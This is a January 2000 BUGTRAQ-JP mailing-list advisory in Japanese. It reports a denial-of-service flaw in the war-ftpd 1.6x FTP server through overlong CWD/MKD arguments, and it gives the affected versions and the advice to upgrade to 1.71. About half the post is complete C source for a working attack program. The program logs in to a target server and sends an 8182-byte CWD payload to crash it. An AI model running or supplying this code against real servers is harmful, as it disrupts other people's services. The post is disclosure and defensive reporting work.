Return-Path: owner-bugtraq-jp@SECURITYFOCUS.COM MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit X-Mailer: Becky! ver 1.25.07 Message-ID: <389305B1287.E142CRC@mail.sirius.imasy.or.jp> Date: Sun, 30 Jan 2000 00:22:25 +0900 Reply-To: Toshimi Makino Sender: BUGTRAQ-JP List From: Toshimi Makino Subject: war-ftpd 1.6x DoS X-To: BUGTRAQ-JP@SECURITYFOCUS.COM To: BUGTRAQ-JP@SECURITYFOCUS.COM はじめまして、まきのです。 Windows95/98/NT上で広く使用されているftpサーバである war-ftpdですが、1.6xにDoSがあるようです。 先日本家BUGTRAQにてSECURITY ALERTということで1.67-03に バージョンアップした物が作者のWebページに載っていましたが そのバージョンでも発生するようです。 この事を英語でJarle Aaseさんに概要を報告しましたが、 20日以上経っても音沙汰が全然無いのでこちらに報告します。 概要: ftpプロトコルにおけるディレクトリ制御コマンドであるMKD/CWDの バウンドチェックが不完全な為に発生するようです。 ただ1.66x4からバッファの総容量はちゃんとチェックされている ようなので、私が実験した限りではRETアドレスを上書きしてEIPを 乗っ取る事は出来ませんでした。 Access Violationの境界は533バイト付近(attackを受けるスレッドに よって異なります)から8182バイトの間で起こります。 それ以上になるとバウンドチェック機構が働き、攻撃だと判断して 自動的に接続が切られます。 この弱点を確認しているバージョンは以下の通りです。 1.66x4s,1.67-3 この弱点が見あたらなかったバージョンは以下の通りです。 1.71-0 弱点を確認した環境: Microsoft WindowsNT 4.0 Workstation SP6a日本語版+IE4.0SP2 Microsoft WindowsNT 4.0 Workstation SP5 日本語版+IE4.0SP2 Microsoft WindowsNT 4.0 Server SP4 日本語版 対処法: Jarle Aaseさんから音沙汰が無い以上、1.6xでの根本的な 対処法はありません。根本的な解決を望むなら1.71にしましょう。 1.71ではAccess deniedになりますので、DoSは起こりませんでした。 --- warftpd-dos.c 再現用のサンプルソースを載せておきます。 内容はリモートからwar-ftpdの動いてるサーバにDoS攻撃をかけます。 バッファをNOPで埋めているのは単にAccess Violationを起こすためで 深い意味はありません。念のため。 VisualC++ 6.0でコンパイル可能なのを確認しました。 /*--------------------------------------------------------------*/ /* war-ftpd 1.66x4s and 1.67-3 DoS sample by crc "warftpd-dos.c"*/ /*--------------------------------------------------------------*/ #include #include #include #include #define FTP_PORT 21 #define MAXBUF 8182 //#define MAXBUF 553 #define MAXPACKETBUF 32000 #define NOP 0x90 void main(int argc,char *argv[]) { SOCKET sock; unsigned long victimaddr; SOCKADDR_IN victimsockaddr; WORD wVersionRequested; int nErrorStatus; static unsigned char buf[MAXBUF],packetbuf[MAXPACKETBUF],*q; hostent *victimhostent; WSADATA wsa; if (argc < 3){ printf("Usage: %s TargetHost UserName Password\n",argv[0]); exit(1); } wVersionRequested = MAKEWORD(1, 1); nErrorStatus = WSAStartup(wVersionRequested, &wsa); if (atexit((void (*)(void))(WSACleanup))) { fprintf(stderr,"atexit(WSACleanup)failed\n"); exit(-1); } if ( nErrorStatus != 0 ) { fprintf(stderr,"Winsock Initialization failed\n"); exit(-1); } if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){ fprintf(stderr,"Can't create socket.\n"); exit(-1); } victimaddr = inet_addr((char*)argv[1]); if (victimaddr == -1) { victimhostent = gethostbyname(argv[1]); if (victimhostent == NULL) { fprintf(stderr,"Can't resolve specified host.\n"); exit(-1); } else victimaddr = *((unsigned long *)((victimhostent->h_addr_list)[0])); } victimsockaddr.sin_family = AF_INET; victimsockaddr.sin_addr.s_addr = victimaddr; victimsockaddr.sin_port = htons((unsigned short)FTP_PORT); memset(victimsockaddr.sin_zero,(int)0,sizeof(victimsockaddr.sin_zero)); if(connect(sock,(struct sockaddr *)&victimsockaddr,sizeof(victimsockaddr)) == SOCKET_ERROR){ fprintf(stderr,"Connection refused.\n"); exit(-1); } printf("Attacking war-ftpd ...\n"); recv(sock,(char *)packetbuf,MAXPACKETBUF,0); sprintf((char *)packetbuf,"USER %s\r\n",argv[2]); send(sock,(char *)packetbuf,strlen((char *)packetbuf),0); recv(sock,(char *)packetbuf,MAXPACKETBUF,0); sprintf((char *)packetbuf,"PASS %s\r\n",argv[3]); send(sock,(char *)packetbuf,strlen((char *)packetbuf),0); recv(sock,(char *)packetbuf,MAXPACKETBUF,0); memset(buf,NOP,MAXBUF); buf[MAXBUF-1]=0; sprintf((char *)packetbuf,"CWD %s\r\n",buf); send(sock,(char *)packetbuf,strlen((char *)packetbuf),0); Sleep(100); shutdown(sock, 2); closesocket(sock); WSACleanup(); printf("done.\n"); } ---- _____________________________________________◎ 牧野幹臣(Toshimi Makino) E-mail:crc@sirius.imasy.or.jp ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~